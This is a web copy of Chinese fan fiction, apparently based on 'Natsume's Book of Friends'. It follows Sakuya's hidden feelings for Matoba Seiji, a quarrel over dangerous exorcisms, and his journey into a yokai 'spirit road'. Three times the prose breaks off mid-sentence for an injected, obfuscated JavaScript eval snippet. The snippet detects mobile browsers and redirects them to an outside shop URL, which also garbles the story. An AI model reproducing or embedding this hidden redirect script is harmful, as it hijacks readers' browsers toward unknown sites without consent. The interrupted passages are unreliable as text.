朔也在脑海里拼命搜寻起来,他真的一点记忆都没有。 “就是那天你说完后不久,可惜那时候你已经睡着了。” “……”朔也无语,静司先生果然又在逗他! * 两人一起种好树,朔也脱下手套,看着树苗有些出神。 这样不足一米高的幼苗要长成十米高的大树,大概需要十年左右的时间,对于寿命有数百年的树木来说,十年不过弹指一挥间,但放在人类的时间里,却足够漫长。 十年后的他和静司先生,会是什么样的呢? “樟树的树冠可以延展很远,等长成后大概可以覆盖一部分露台。” 顺着的场静司的提示,朔也抬头看向三楼的露台,这才发现种树的位置明显经过精准的测量,即使树长起来之后也不会遮挡窗户的视野,却正好为露台提供一部分遮挡,形成天然的凉棚。 “到那时,八咫正好可以在露台附近的树枝上驻巢。” 朔也想了想,不禁笑起来,“八咫到那时已经是老爷爷了吧,还要辛苦地驻巢吗?” “朔也。” “嗯?” 朔也下意识地看向的场静司,正对上对方带着笑意的眼睛。 “终于笑了,所以有开心一些吗?” 在对方温柔的目光里,朔也的脸不受控制地开始升温,他避开对方的视线,轻咳了一声看向树苗。 “如果有什么烦恼的事,等朔也想说的时候再告诉我吧。”的场静司看着少年别扭的反应,温和的笑道:“在那之前,我不会问的。” “这样的话,朔也会放松些吗?” 太温柔了,静司先生。 朔也心想,明明是他自己的问题啊。 擅自对静司先生萌生了那样的感情,又做贼心虚地不敢面对,甚至不敢和静司先生相处——这对不知缘由的静司先生来说,应该非常困扰吧…… “虽然不知道发生了什么,但如果朔也一直躲着我的话,我可是会难过的。” 朔也觉得眼眶和鼻子都有些酸涩,他深吸一口气,终于问道:“如果有一天,我做了什么让静司先生讨厌的事情,你会赶我走吗?” “当然不会。”的场静司先是惊愕,而后不动声色地问道:“是谁和你说了什么吗?” “没有。”朔也摇了摇头,“只是突然想问一下。” 的场静司打量着他的神情,玩笑道:“我倒是很好奇朔也做什么事会让我讨厌。” 朔也的脸转向了一边,低声说道:“肯定是很坏的那种。” 的场静司轻笑一声,“这很难想象哦,朔也究竟能做出多坏的事情呢?” 朔也想起那些照片,那些他控制不住的臆想和梦境,狼狈地说道:“……总之,就是你很讨厌的坏事,最最讨厌的那种!” “我最讨厌的坏事啊……”的场静司颇为认真地想了一会儿,确定地说道:“是朔也受伤。” 朔也惊讶地看向他。 的场静司对上朔也的视线,“如果有可能的话,我希望永远不会再遇到这样的坏事。” 朔也只觉得眼睛越发酸涩,他吸了吸鼻子,目光转向别处。 的场静司看着他,温柔地承诺道:“无论发生什么,我都不会让朔也离开的。” 朔也眨了眨眼睛,酸涩的眼眶再也承受不住眼里汇聚的水光,有东西顺着脸颊滚落下去。 “就像我相信朔也不会离开的场家一样,朔也,也再多相信我一些吧。” 抬手胡乱地擦拭着脸颊,朔也忍不住抽泣了一声,“静司先生,对不起……” 竟然哭了! 到底是什么事情会让朔也有这种反应呢? 的场静司很是苦恼起来,但因为之前承诺了不会问,现在倒真的不好继续追问了。 他暗暗后悔着,上前几步抱住朔也,安抚地轻拍着少年的脊背。 眼泪消失在有着熟悉熏香的外套中,朔也在本能地觉得安心的同时又多了几分愧疚。 那是不能对静司先生坦诚的情感,所以,装作什么都没发生才是最好的办法吧? 也许一直隐藏着,某天它就会自己消失了也说不定。 未来的某一天,静司先生会结婚,有自己的孩子,和上一任当家一样,将的场一门延续下去…… 而他,会一直守护在静司先生身边。 听上去好像是某些影视剧里会有的苦情角色啊…… 朔也不着边际地想着。 他会经历很多痛苦吗? 纠结、嫉妒、挣扎、不满、失望,甚至绝望…… 或许吧。 但在当下的这一刻,他并不畏惧那些,只要…… “静司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015433|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先生。” “嗯?” “如果静司先生要结婚的话,可以只和相爱的人结婚吗?” 的场静司愣住,正抱着朔也的他看不到对方的表情,只能从低落而轻缓的话语里感受到令他动容的真挚。 “我不想让静司先生勉强自己,我希望静司先生是因为真心爱着对方、也被对方深爱着,才和那个人在一起的。” “我希望,静司先生能够幸福。” 朔也的声音很轻,但的场静司从那之中感觉到了沉甸甸的重量。 朔也如此真挚地希冀着他能得到幸福。 但其实,就在此刻,就在朔也说出这些饱含期待的祈愿时。 幸福已经降临。 “嗯,我答应你,朔也。” * 在那之后,的场静司将当时的情形回想了多次,也思考了很久,不过很可惜,他未能从朔也的言语和反应中发现任何蛛丝马迹。 唯一有点根据的猜测是——朔也也许是被之前佐藤家联姻的事情影响了,他看得出朔也很反感那种纯粹只为利益而结合的婚姻,大概是很担心他也会如此吧。 只是这种猜测很难解释朔也为什么会难过到哭泣,的场静司在翻看了几本青少年心理学相关的书之后,只能勉强将其归于青春期少年突然的不安和多愁善感。 如果一切都恢复如常,那这个答案还算成立,问题是,朔也虽然看似恢复了往日的样子,也不再故意躲着他,但到底还是和之前有所不同,这让的场静司十分在意…… “当家,有一个委托需要您亲自处理。” 的场静司回过神,“啊,给我吧。” 他接过委托单,这是本地一个世家的委托,因为和的场家有着长久的合作,所以需要他亲自出面。 “要叫上朔也一起吗?”同门问道。 在处理过白夜叉的事情之后,朔也就时常作为助理参与到委托之中,虽然名义上是助理,但因为能力十分出众,朔也已成为同门心中十分可靠的人选。 不过这一次委托涉及的是从政的家族,这样的家里很容易出现复杂的情况。 的场静司没有犹豫太久就做了决定,“不用了。” 朔也迟早需要面对更复杂的事务,但能晚一点就晚一点吧。 * “那个事情,已经解决了?”飒真觉得很不可思议,“这也太快了!” 朔也一脸平静,“那种事情拖拖拉拉会更麻烦。” “你确定你说的是感情问题而不是其他?” 飒真怀疑地看了他一会儿,依旧很难相信。 “你怎么解决的?不会真的用什么奇怪的方法消除了吧?” 朔也笑了笑,“嗯,我把那些想法都封印了。” 飒真看着他的笑容,突然叹了口气,“算了,我就当你是告白失败、正式失恋了。” 要是能告白也算不错呢,朔也默默想着,结果连告白都没有,作为初恋着实有点凄惨。 “那你今天陪我去电玩城吧!” 朔也瞥了飒真一眼,“你今天不去塾里?” “你都失恋了,我当然得请假陪你去散心!” “……倒也不必拿我当借口。” “那就这么决定了,我请你吃猪排饭!” “喂,你有在听我说话吗?” “不就是失恋吗?没什么大不了的!我推荐几个游戏给你,保证让你废寝忘食……” “喂……” 75.第七十五章 行道 * 夏目接到了来自箱崎府的委托。 前段时间过世的箱崎先生曾是一位醉心于研究妖怪和术式的术师,因为痴迷非人之物,被看不见妖怪的亲人们疏远,生前曾独居在偌大的豪宅内,与各种妖怪为伴。 箱崎先生过世后留下了许多关于妖怪和术式的研究资料,但用术式藏在了常人看不见的地方,夏目曾和名取周一去那里寻找遗产,因此与箱崎先生的孙女红子小姐结识。 最近箱崎宅附近出现了奇怪的人影和气息,红子小姐很担心,但她不想和除妖师有过多牵扯,便委托夏目帮忙。 能够用自己的能力帮助别人,夏目当然非常乐意,只是没想到会在这里遇见的场家的人。 的场家的某个除妖师用禁术制造了一个可怕的影人偶,又不慎让它逃走,那个妖怪本能地被箱崎府的妖怪气息吸引,所以跑来了附近。 看来最近在箱崎宅引起异常的就是这只人为制造出来的诡异妖怪了。 虽然是的场家惹出来的事端,但事已至此,想办法退治影人偶才是最重要的。 好在的场家已经在宅内四周设置了结界,只要将妖怪引入符阵中,就可解除妖怪的术式。 唯一的纰漏是是中庭结界处的道具镜子此前已经摔碎,幸好这一点被夏目发现,只要他在符阵启动前将镜片放回原处,结界和符阵就能恢复。 这算不上什么惊险的任务,夏目成功赶在妖怪进入符阵时放回了镜片。 而意料外的状况就是在这时发生的。 在的场静司念诵真言的同时,一支绑着符咒的羽箭如影子般划过,射穿了影人偶的头颅。 影人偶在双重力量的围击之下散乱成好几截。 夏目本以为那是的场家提前安排好的偷袭,却见的场家的人都非常吃惊,纷纷看向箭矢射来的方向。 还没等夏目弄明白怎么回事,一阵诡异可怖的吼声突然从空中传来。 明明还未见到妖怪,夏目的胳膊上已经起了一片鸡皮疙瘩,想起刚刚的场静司和七濑女士告诉他的那个诅咒的场家的妖怪,原来的场先生是被这种妖怪追击着吗? 当只听声音就足以让人胆颤的大妖冲着的场家的伞砸下来的时候,持伞的人几乎来不及反应,伞应声碎裂,浑身黑漆漆的、缺失右眼的妖怪散发出令人不适的恐怖气息。 而雪上加霜的是,那只支离破碎的影人偶竟然没有被彻底祓除,反而又挣扎着拼接到一起,再次活动起来。 这大概是夏目见过的最诡异的除妖现场了,不光是两个妖怪都出奇可怖,更在于的场静司竟然会挑拨那只大妖去对付影人偶。这种处理妖怪的方法甚至比妖怪本身更让夏目毛骨悚然,一时间他甚至分不清到底是妖怪可怕还是的场静司更可怕一些。 然而,就在大妖怪吞噬影人偶的瞬间,又一支羽箭射了过来。 那只箭快得几乎看不见影子,而大妖的动作更快,它吞掉影人偶,避开箭矢冲进灌木从里消失了踪迹。 这一次,夏目和的场家的人一起看向箭矢射来的方向,但那里只有茂密的树木,射箭的人躲在其中,很难被发现。 “静司,那是……”心里已有猜测的七濑看向正微笑着的青年。 “哦呀,看来他确实很生气。”的场静司的声音里有着意味不明的愉悦,“难得见到他这样发脾气,还挺有趣呢。” 七濑很是无奈,“不是让你好好解释吗?” 的场静司笑而不语。 他有必须弄清楚的事情,为此不得不用一些不常见的方法。 * “朔也?” 刚走出箱崎宅的大门,夏目就看到了正等在路边的少年,以及他身后背着的弓箭。 夏目恍然大悟,“啊!刚刚那个人是你?!” 朔也点点头,“夏目,没想到会在这里碰到你,是箱崎家的人找你帮忙吗?” “嗯,不过已经解决了。”夏目打量了朔也几眼,又看了看四周,奇怪地问道:“你没有和的场先生他们一起吗?” 不提这个还好,一提朔也就开始生气,他气闷地哼了一声,“这次我是单独行动。” 夏目好奇起来,“怎么了?” “的场的小鬼们终于内讧了吗?”突然插嘴的猫咪老师露出贱兮兮的笑容。 “啧,丑猫!”朔也瞪了它一眼,冲夏目抱怨道:“静司先生不让我跟着。” 得知那只影人偶逃跑之后,为了善后,七濑安排了很多同门一起处理,这种事情有的场静司在自然更好,但最近正好是那只“诅咒之瞳”妖怪袭击的时间,于是七濑提议让朔也代替的场静司去处理。 “本来七濑阿姨已经安排好了,静司先生却临时改了主意!”朔也咬牙气道:“同时对付两个难缠的妖怪,不是更危险吗?” 若是放在以往,朔也不会反对的场静司的安排,但这次明显不太合理。 那个影人偶虽然有点麻烦,但绝不会比白夜叉更危险,又有七濑和那么多同门在,朔也绝不会出什么问题。 但偏偏的场静司强硬地做了不合理的安排,也没有给出任何解释,这让朔也更加难受。 “呃……”夏目一时不知道该怎么安抚朔也,毕竟在他眼里,的场静司不打招呼直接做出让人为难的决定实在太正常了。 不过,这也让夏目突然想起另一件事来。 “啊,朔也,我有件事忘记告诉你了!” “什么?”朔也顿时被转移了注意力。 “那是前段时间的事了……” 夏目说的是前不久在一个废弃车站偶遇的场静司的事情。 那天他和猫咪老师出去散步,被“撒手没”的猫咪老师带偏了方向,到了某个十分偏僻的地方,因为恰逢下雨,他们只好去附近的废弃车站躲雨,却没想到竟然在那里碰见了的场静司。 “的场先生带着一个被遮住的鸟笼,他说里面关着一个叫‘人首’的妖怪。” “人首?”朔也皱起眉,“那可是一种非常恶劣又难缠的妖怪,你确定那是‘人首’吗?” “我不知道。”夏目摇了摇头,“的场先生用布将笼子遮了起来,直到一个可怕的大妖怪路过,他将那个笼子拿到了车站外,妖怪走后那个鸟笼就消失了,我只听见了可怕的惨叫声……” “诶?!”夏目描述的经历实在过于离奇,朔也很是吃惊,“那个大妖怪是怎么回事?” “我也不知道,听的场先生说,那个废弃的车站在下雨时就会有那样可怕的妖怪出现,虽然它们不会进入车站,但那里也会变得非常危险……” 见朔也的脸色越来越难看,夏目果断闭上了嘴。 “静司先生是一个人去那里的吗?” 夏目点了点头,虽然朔也的脸色没有变得更差,但夏目能感觉到他的怒火,他还是第一次见到朔也这么生气。 想起的场静司那时说的让他保密的话,夏目只能在心底默默说了声“抱歉”,他知道的场静司那么做是为了不让朔也和其他同门面对危险的场景,但他也知道朔也有多重视的场先生,在这种事情上他没法隐瞒朔也。 但夏目还是帮的场静司弱弱地解释了一句,“大概是那个叫‘人首’的妖怪太难处理,所以的场先生才去那里,利用路过的妖怪……” 朔也深深吸了一口气然后又慢慢呼出,神情渐渐变得平静,他看向夏目,微笑道:“我知道了,谢谢你告诉我这些!那个废弃车站在哪儿,你还记得吗?” 这么快就平静下来的朔也让夏目有些怔愣,他说了车站的位置,担心地问道:“你要去吗?那里真的很危险!” “别担心,我不会做无意义的冒险的。” 这么说着的朔也表情很认真,这让夏目稍微放心了些。 “对了,我找你其实是因为箱崎家的事。” 朔也突然转变话题,让夏目差点没反应过来,“什么?” “箱崎家的那座大宅残留的妖气太多了,如果不净化的话,只会不断引来妖怪。”朔也解释道:“如果举行净化仪式,再设下阻挡妖怪的结界,会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020695|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安全许多。” 夏目明白过来,“嗯,我会告诉红子小姐的!” 朔也点点头,摆了摆手,“那下次见了,我得去拜访月见先生。” 见对方不是去那个车站,夏目暗暗松了口气,不忘叮嘱道:“需要帮忙的话,记得联系我!” “嗯!” 看着朔也走远的背影,夏目总觉得他还在生气。 “朔也不会气得和的场先生吵起来吧?” 猫咪老师颇有点幸灾乐祸的意思。 “呵!的场那小子也该多点麻烦了~” “猫咪老师——” * 朔也当然还在生气,而且非常非常生气。 这确实不常见。 朔也不是个坏脾气的人,或者说,他的情绪比一般人更稳定,生气的阈值也很高,就算有什么不愉快也能自我调节,所以对人对事都很包容。 但最近不太一样,他的情绪开始不稳定起来。 明明他已经下定决心装作什么都没发生,并努力像原来那样和的场静司相处,但实际情况却是,他越是伪装得若无其事,心里反而越别扭难受,这种难受不能表露出来,强压下去又让人更加难受…… 在这种状态下碰上惹人生气的事,朔也还能克制自己已经很不容易。 如果只是之前退治影人偶的事情,朔也大概生气一会儿也就过去了,但那个废弃车站的事实在太过分,被点燃的怒火裹挟着前段时间不断压抑的情绪,朔也感觉现在的自己就像个炸弹,随时在爆炸边缘徘徊。 这个样子肯定是不能去见的场静司的,朔也还记得他和翔平的事,人在情绪失控的状态下说出的话很有可能化为无形的刀剑,给对方和自己造成无法挽回的伤害,无论如何他都不想让这样的事发生在他和的场静司之间。 所以,去月见神社是朔也的临时决定,他想向月见先生请教废弃车站相关的事。 * “那个车站大概是正好修建在了‘神隐的行道’上。” 月见清递给朔也一张绘卷,上面绘制的是从古籍中还原出来的地图,地点标注远没有现代地图得那么清晰,但因为是供曾经的月见神社使用,那上面有不少妖怪相关的信息,其中就有一条被标注为“神隐的行道”的路线。 只是奇怪的是,这条路线起始位置都没有做任何提示,突兀地横亘在地图中。 “月见先生,它为什么既没有起点也没有终点?” “这条行道是上古时期的遗留之物,人们发现它时就是不完整的。”月见清解释道:“传说在上古时期,妖怪并不和人类生活在一起,它们有着自己的国度,只有在特定时间,妖怪才会通过这样的行道来到人类的世界,然后在规定的时限内返回。人类的“百鬼夜行”传说,大抵就是由此而来。” “只是不知道什么原因,连通妖怪和人类的道路被切断了,有的行道直接消失,有的则像这条行道一样失去了引路的标识,妖怪无法再回到自己的国度,但本能仍驱使它们在这种行道上徘徊。” “人类无意中在那里修建了车站,中断了行道,但当车站废弃后,妖怪们又回到了这里,它们在特定的时间一遍遍路过,大概是为了找到传说中的妖怪国度。” “这样啊……”朔也没想到“神隐的行道”背后还有这样让人唏嘘的传说。 “但这样的行道对人类来说非常危险吧?”朔也担心地问道:“毕竟现在路过那里的是很可怕的大妖。” “嗯。”月见清点点头,“不过这也是没办法的事,这条行道被损毁的那天就注定了这样的结果。” 朔也皱起眉,“没有办法将这条行道和那个车站隔绝开吗?或者让妖怪看不见路过那里的人类?” 月见清思索了一会儿,看向朔也,“方法倒是有,但只有你能够做到,别的除妖师可不行。” “咦?”朔也惊讶又疑惑,“为什么?” “大概是因为……”月见清微笑道:“你是神明选中的孩子。” “诶?!” 76.第七十六章 神隐 * 「你是神明选中的孩子。」 月见清并没有对这句话做出解释,朔也只以为那是对方故意逗自己的玩笑话,他更好奇的是能够隔绝行道与人类世界的方法。 这个方法听上去有些离奇。 先在“神隐的行道”与人类世界交汇的几处地方设下结界,然后进入行道,将一个特殊的符阵刻在行道中的某处石碑上,通过符阵启动结界,就可以将行道与人类的世界区隔开。 在这些事情中,必须由朔也完成的就是进入行道刻下符阵。 “你需要以通灵的方式进入行道,那里是妖怪的世界,你不能被妖怪识破身份,并且得在规定的时间内刻下符咒然后返回。” 月见清看着朔也,解释道:“如果无法按时返回,你就会被留在那里,要么被妖怪吞噬,要么逐渐转化为妖怪,而你作为人类的躯壳就会死去。” 这无疑是非常危险的事情。 “即便是这样,你也要去做吗?” 月见清露出浅淡的似笑非笑的表情,这让他的询问显得意味深长起来。 朔也思考了一会儿,仅从夏目描述的那个路过车站的妖怪来看,就知道那条行道有多危险,他可以尽力伪装成妖怪,但不能排除意外的发生,而在那里他孤立无援,任何意外都可能导致最坏的结果…… 大概是因为多年前曾抱着必死的决心封印过妖怪,朔也对死亡的畏惧似乎比常人更少一些,但那一次是他将自己放在了“孤注一掷”的绝境里,而这一次呢? “月见先生,我现在无法回答你。”朔也坦诚地说道:“请让我认真考虑一下吧。” 月见清笑着点点头。 * 去月见神社之前,朔也还装着一肚子的怒火,但从月见神社出来时,那些怒火、甚至近段时间纠缠着他的别扭情绪,通通都退到了大脑的角落。 在时隔近六年之后,朔也再次面临“生与死”的问题。 现在的朔也比起那个时候,心智更加成熟,顾虑也更多。 人的生命是宝贵的,而且不仅属于自己,也属于爱着自己的人们。 所以,当下这件事情,真的有必要去做吗? 那个车站已经被废弃了那么久,哪怕非常危险,但神社也好、除妖师也好,都没能找到真正有效的办法,最后只能远离它,让它像恐怖怪谈那样存在着。 而现在,月见先生说,「只有你能够做到」。 这句话究竟是真的,还是只是一种鼓励呢? 他要在存在太多不确定的情况下去冒险吗? 还是自私一些,放任不管呢? …… 朔也心事重重地回到的场家,第一时间是上网查找废弃车站的资料。 那个车站是70年代初期建造的,在80年代中期停止使用,自那之后到现在,几乎每年都有人在附近失踪。失踪的人里有本地居民,也有去徒步或露营的游客,甚至还有一些去探险的学生…… 查阅着过去的旧闻,朔也的眉头越皱越紧,这些失踪案不一定都是妖怪造成的,但他在好几篇新闻里都看到了“雨天失踪”这样的描述,而在那个车站附近,一旦开始下雨,就是妖怪路过行道的时候,这样的巧合实在让人毛骨悚然,也很难不让朔也去联想。 大概,曾经有不少普通人因误闯那个地方而“神隐”,而这样的神隐,在未来仍有可能发生…… 这样的话,也要放任不管吗? 朔也独自思索了好一会儿,心中的天平已开始倾斜。 * 朔也本想和的场静司聊一聊,却从同门那里得知,因为有位外地的委托人突然遭遇了十分棘手的事情,的场静司和七濑临时赶过去处理了,大概得过几天才能回来。 朔也有些失望,不知道为什么,他现在很想见到静司先生。 该怎么办呢? 翻来覆去纠结了许久,直到深夜,实在睡不着的朔也只能爬起来,试探着给的场静司发了一条信息。 『静司先生,休息了吗?』 朔也看着手机,如果10分钟没有回复,他就老老实实去睡觉。 然后1分钟,不,大概30秒都没到,他的电话就响了,来电显示的正是的场静司。 正捧着手机的朔也被吓得手忙脚乱,手机掉到地上,自动接通了电话。 “哦呀,朔也还没睡吗?”的场静司的语气明显有些意外,现在的时间早已过了朔也平时休息的时间点了。 “呃,静司先生。”朔也赶紧捡起手机,抱歉地说道:“打扰到你了吗?” “当然没有。”电话那头的的场静司轻笑着,调侃道:“不过我还以为你会更生气一些呢。” 朔也不满地撇了撇嘴,嘟囔道:“本来是挺生气的,非常非常生气。” 的场静司的声音带着明显的笑意,“现在呢?” 现在?朔也微皱着眉,也不能说不生气吧,只是他开始理解的场静司的做法了。 无论是坚持亲自去退治影人偶,还是将难缠的“人首”带去废弃车站处理,以及,以首领的姿态面对各种最麻烦的事……的场静司总是一副无所畏惧的样子,并理所当然地将最危险的那部分当做自己的职责。 的场静司曾告诉他,有天赋的人,是不能躲在他人身后的。强者需要承担起比常人更多的责任,他正是这样做的。 其实,让朔也感到生气的,并不是的场静司去做了危险的事情,而是他独自去做了那些事。 更准确地说,朔也真正生气的是在的场静司面对危险的时候,他没有在对方身边。 当意识到这一点,比起怒气,挫败的情绪反而占了上风。 “这么难回答么?所以是还在生气吗?”没听到朔也的回答,的场静司好奇地问道。 大概是电话沟通的形式不用直面对方,朔也不用担心暴露什么,放松之下恢复了以往更随意自然的样子。 他轻哼了一声,“一点点吧。” 电话那头的人果然笑出了声。 笑声经由贴近的话筒钻进耳朵,朔也只觉得耳朵发痒,脸也不争气地开始升温,他忍不住把手机拿开了一些。 “静司先生……” “嗯?” “如果有一件你认为必须做的事情,即使非常危险,你也会去做吗?” “既然是必须的事情,那自然无论怎样都会去做。” 的场静司的回答几乎没有任何迟疑,但紧接着他就问道:“为什么突然这么问?是发生了什么吗?” 朔也很想告诉的场静司有关“神隐的行道”的事情,但话到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027217|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了嘴边却迟迟没说出口。 静司先生正忙着重要的事情,突然说这些会让静司先生担心吧…… 朔也最终还是说起了其他,“夏目告诉我他在废弃车站遇见了你和妖怪‘人首’。” “哦呀,朔也知道了啊。”的场静司温和地问道:“所以你是在为这件事生气么?” “算是吧,但能理解静司先生的做法。”朔也想了想,说道:“等我再强大一些,静司先生遇到不得不做、但又很危险的事情的时候,可以带上我一起吗?” 电话那头安静了一会儿,终于传来的场静司的声音,非常温柔。 “当然,不过只是听到朔也这么说,就觉得正被朔也保护着呢。” 朔也觉得自己的脸一定红透了,他慌乱地说了几句让对方赶紧休息的话,就挂断了电话。 在床上打着滚消化了一会儿通话的后劲儿,朔也终于冷静下来。 因为是必须要做的事情,所以无论怎样都得去做。 * 过了两天,在陆续将其他交界处的结界设置好后,朔也终于来到了那个传说中的车站。 今天是个大晴天,废弃的车站在这样的天气里倒显得没有传言中那么诡异。 月见清带着朔也和夏目走进车站,四处看了一圈,选定了一个宽敞些的地方,开始绘制符阵。 朔也看向一旁的少年,“夏目,今天就麻烦你了。” 夏目摇了摇头,神色很是担忧,小声问道:“真的没问题吗?总觉得太危险了……” “我会小心的!”朔也笑了笑,“而且你不是把保镖借给我了吗?” 说着朔也看向正被夏目抱在怀里的猫咪老师,“丑猫,如果想免费吃一整年的七辻屋点心,就得认真当保镖哦。” 猫咪老师“嘁”了一声,然后在夏目的逼视下妥协道:“不过是把这个小鬼带回来而已,对本大爷来说轻而易举!” “猫咪不能说大话哦。” 已画完符阵的月见清走了过来,他看着猫咪老师微笑道:“那条行道的混乱程度,就连上古时期的大妖也很头疼呢。” 猫咪老师盯着年轻的神官,没有吭声。 夏目却更忧心起来,他看向朔也,“听上去真的很危险,你确定要去吗?” “啊,抱歉,吓到你了。”月见清笑着安抚道:“其实铃木君和猫咪比起来,反而会更安全一些。” 夏目很是怀疑。 月见清不以为意,看向朔也,“来,我给你写上符文。” 他从怀里拿出一支青色的毛笔,没有蘸取墨水,而是直接在朔也的眉心写下了什么。 看着这一幕的夏目有些愕然,“月见先生,这个是什么?” “是请月神庇佑的符文,人类无法看见。”月见清解释道:“但在行道里,只要念出真言就能唤醒它。” 说着月见清念出真言。 「月津御·清晖主」 朔也跟着重复了几遍,很是好奇,“这是……” “月神的尊讳。”月见清微微一笑,“别害怕,月神会护佑你的。” 朔也若有所思地点点头。 “铃木君,一定要在月亮变为血月之前返回车站,记住了吗?” “嗯!” “那就开始吧。” 77.第七十七章 狐嫁 * 朔也躺在符阵中,闭上眼睛,耳边传来月见清念诵真言的声音。 「月辉映照之处,请应吾之召见……」 这是月神有关的真言吗?听上去和他学习过的那些真言似乎有些不一样。 朔也正想听得更认真些,却觉察到身体的异样,他的身体好像慢慢漂浮了起来,接着一阵眩晕感袭来,耳边的声音逐渐变得模糊,直至归为寂静。 “小鬼,醒醒!” 低沉粗犷的声音在耳边炸响,朔也猛地睁开眼睛,正对上一个硕大的野兽脑袋,野兽龇着牙,锋利的兽齿在昏暗的光线下闪着森森白光。 朔也盯着它眨了眨眼,“你在做什么?” “嘁!竟然没被吓到。”猫咪老师顿时失去兴趣,变回猫咪陶俑的形态。 朔也瞥了它一眼,“惊吓雇主是会被扣报酬的。” 猫咪老师充耳不闻,“臭小鬼在说什么呢?走了走了!” 朔也没和它计较,打量了一圈车站,这里和他之前看到的一模一样,但是除了他和丑猫以外没有其他人,夏目、月见先生和那个符阵都消失了。 他现在所在的应该是位于另一个世界的车站。 朔也看向车站外,外面漆黑一片,这种“黑”和夜晚的黑完全不一样,像是某种屏障。 他走到门口,深吸一口气,抬脚迈了出去。 跨出一步之后,朔也视野里出现的是夜晚真正的模样。 明月高悬,月光照亮了一条还算宽敞的道路,道路十分斑驳,似乎是泥土和石子夯实而成的,有些顽强的不知名野草零星点缀在路中,看上去和乡野间的路没太大区别。 道路两边大概是森林,朔也不敢确定,因为影影绰绰的树影都被浓雾笼罩着,给人危险而诡异的感觉。 “喂,小鬼!别发呆了,快指路!”猫咪老师的两只前爪毫不客气地踩上了少年的鞋子。 朔也没理它,弯腰摘了一片野草的叶子,念出辨别方向的真言。 叶子在朔也的手心里动了动,幻化为蝴蝶的形态,慢悠悠地朝前方飞去。 “走吧。”朔也掂了掂脚上的猫爪。 猫咪老师显然对“蝴蝶”很感兴趣,兴致勃勃地跟了上去。 一人一妖跟着蝴蝶走了一段路,道路两旁的雾气逐渐弥漫到路中,朔也放慢了些步子,但是没有停下,而雾气则越来越浓,直至完全遮挡住了视线。 不过这种遮挡没有阻碍月光的光亮,这让朔也稍微安定了些,月见清告诉过他,只要能被月光映照,他就能得到月神的庇佑。 好在被雾气遮挡的路途没有持续多久,随着雾气再次淡去,朔也突然听到了隐约的嘈杂声。 朔也低头看向猫咪老师,正对上它的视线。 “小鬼,抓住我的尾巴。” 这么说着的猫咪老师已经幻化出真身,只是尺寸小了许多,但也足以将朔也隐藏在它身侧。 朔也笑了起来,伸手拽住了对方的尾巴。 就这样,朔也跟在猫咪老师的身侧,走过最后一点雾气,进入了突然热闹起来的行道。 * 如果不是来来往往的都是奇形怪状的妖怪们,朔也几乎要以为这是哪处正在举办庙会。 但妖怪摊贩比人类同行们随意很多,它们三三两两地坐在行道边,用来交换的东西就散乱地放在地上,也不用心招揽客人,反而多是聚在一起喝酒玩乐。 在道路中来往的妖怪们就更多样了,它们有的慢步蹒跚,有的边走边看,有的则像是被什么追赶着,着急忙慌地窜出去老远,还有一些则像喝醉了一样在原地直打转…… 朔也一边警惕着,一边克制不住好奇小心地观察着,这就是妖怪的世界会有的样子吗? 不知道是不是听说了行道传说的关系,朔也总觉得眼前看似热闹的道路透着一种说不上来的虚无感。 朔也紧挨着猫咪老师,警惕地往前走着,这个平时总显得不那么靠谱的丑猫,此刻倒很有保镖的样子,时不时回头确认他的位置。 就在朔也祈祷这一路都能像现在这样平静的时候,前面一段行道却突然躁动起来,猫咪老师顿时停了下来,把朔也往路边上挤了挤。 朔也竖起耳朵,仔细听着附近妖怪的议论。 “哟,是狐狸嫁女啊!” “咦?今天不是没下雨吗?” “据说因为今晚月亮特别明亮,预示着吉兆,绀尾大人才急匆匆地决定呢!” “是哦,今晚的月亮确实有点不同……” “这么说,我们没准能蹭上绀尾大人珍藏的美酒了?” “别做梦了!可不是谁都能有这个好运的。” “……” 听到“美酒”两个字,朔也看向猫咪老师,果然,它的两只耳朵完全支棱起来了。 朔也觉得有点无语又有点好笑,默默地吐槽起来,这家伙就是个酒鬼妖吧! 伴随着悠扬的乐声和有节奏的鼓点声,一支盛装的狐妖队伍慢慢行进过来,道路上的妖怪们很有默契地退到了两边,安静地看着队伍经过。 不用猫咪老师提醒,朔也就把自己好好地藏在了它身后,毕竟“狐狸嫁女”可是在人类的世界里留下了许多离奇的怪谈,作为人类,他还是尽量回避的好。 在逐渐安静下来的道路上,队伍行进的声音显得十分清晰,所以,当朔也察觉到窸窸窣窣的脚步声渐渐停下来时,他忍不住抬头看了看。 却不想正对上一双狐眼。 糟了! 朔也看着坐在步辇上、正和自己对视的狐狸新娘,不禁有些懊恼自己的不谨慎。 